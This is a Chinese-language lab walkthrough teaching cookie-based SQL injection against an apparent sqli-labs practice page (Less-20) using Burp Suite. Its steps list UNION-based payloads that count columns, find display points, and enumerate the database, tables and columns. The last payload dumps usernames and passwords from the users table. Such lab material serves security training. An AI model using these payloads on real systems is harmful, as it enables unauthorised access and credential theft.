一、预备知识
Cookie 是由服务器端生成,发送给 User-Agent(一般是浏览器),浏览器会将 Cookie 的 key/value 保存到某个目录下的文本文件中,下次请求同一网站时就发送该 Cookie 给服务器(前提是浏览器设置为启用 cookie)。Cookie 名称和值可以由服务器端开发自定定义,对于 JSP 而言,也可以直接写入 jsessionid,这样服务器可以知道该用户是否是合法用户以及是否需要重新登录等,服务器可以设置或读取 Cookies 中包含信息,借此维护用户跟服务器会话中的状态。
二、实验目的
学会利用 cookie 的报错进行 sql注入。
三、实验工具
浏览器、Burpsuite
四、实验环境
web服务器一台(操作系统为 windows server2003)
五、实验步骤
第一步:访问
http://www.any.com/sqli/Less-20/
打开 Firefox 浏览器,选项
-> 高级
-> 设置
-> 手动设置代理
用户名为 admin
,密码为 admin
。登录后,页面会显示 cookie 信息,所以可以通过 cookie 进行注入。这一步的目的是:当你知道了一个普通用户的账号密码后,可以通过注入得到超级管理员的账号,从而执行更多的操作。
打开 Burpsuite
,此时状态应为 Intercept is off
,发现界面一片空白。
解决方法:将状态改为 Intercept is on
,并 刷新浏览器,Brupsuite
界面如下:
第二步:判断列数。(通过二分法)
刷新此界面,抓包,然后修改 cookie 字段,加入payload。
' order by 3%23
点击 Forward
按钮,并查看浏览器
页面正常,说明大于等于3列。
第三步:刷新浏览器页面,抓包,然后修改 cookie 字段,加入payload
(注:刷新浏览器之前,Burpsuite
界面中的状态为 Intercept is on
)
' order by 4%23
提示 Unknown column '4' in 'order clause'
,说明小于4列,结合上面的可以确定有3列。
第四步:查看显错点
刷新浏览器页面,抓包,然后修改 cookie 字段,加入 payload。
' and 1=2 union select 11,22,33 %23
显错点在第一个、第二个和第三个位置。
第五步:查看用户信息、数据库名称、MySQL版本信息。
刷新浏览器页面,抓包,然后修改 cookie 字段,加入 payload。
' and 1=2 union select 11,22,CONCAT_WS(CHAR(32,58,32), user(),database(),version())%23
得到当前的数据库名称:security
第六步:查看 security
数据库中所有的表。
刷新浏览器页面,抓包,然后修改 cookie 字段,加入 payload。
' and 1=2 union select 1,2,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema='security' %23
得到所有的表为:emails
,referers
,uagents
,users
第七步:查看 users
表中所有列。
刷新浏览器页面,抓包,然后修改 cookie 字段,加入 payload。
' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
得到所有的列:id
,username
,password
第八步:查看所有列的值。
刷新浏览器页面,抓包,然后修改 cookie 字段,加入 payload。
' and 1=2 union select 1,2,group_concat(id,' ',username,' ',password) from security.users %23
得到所有的值: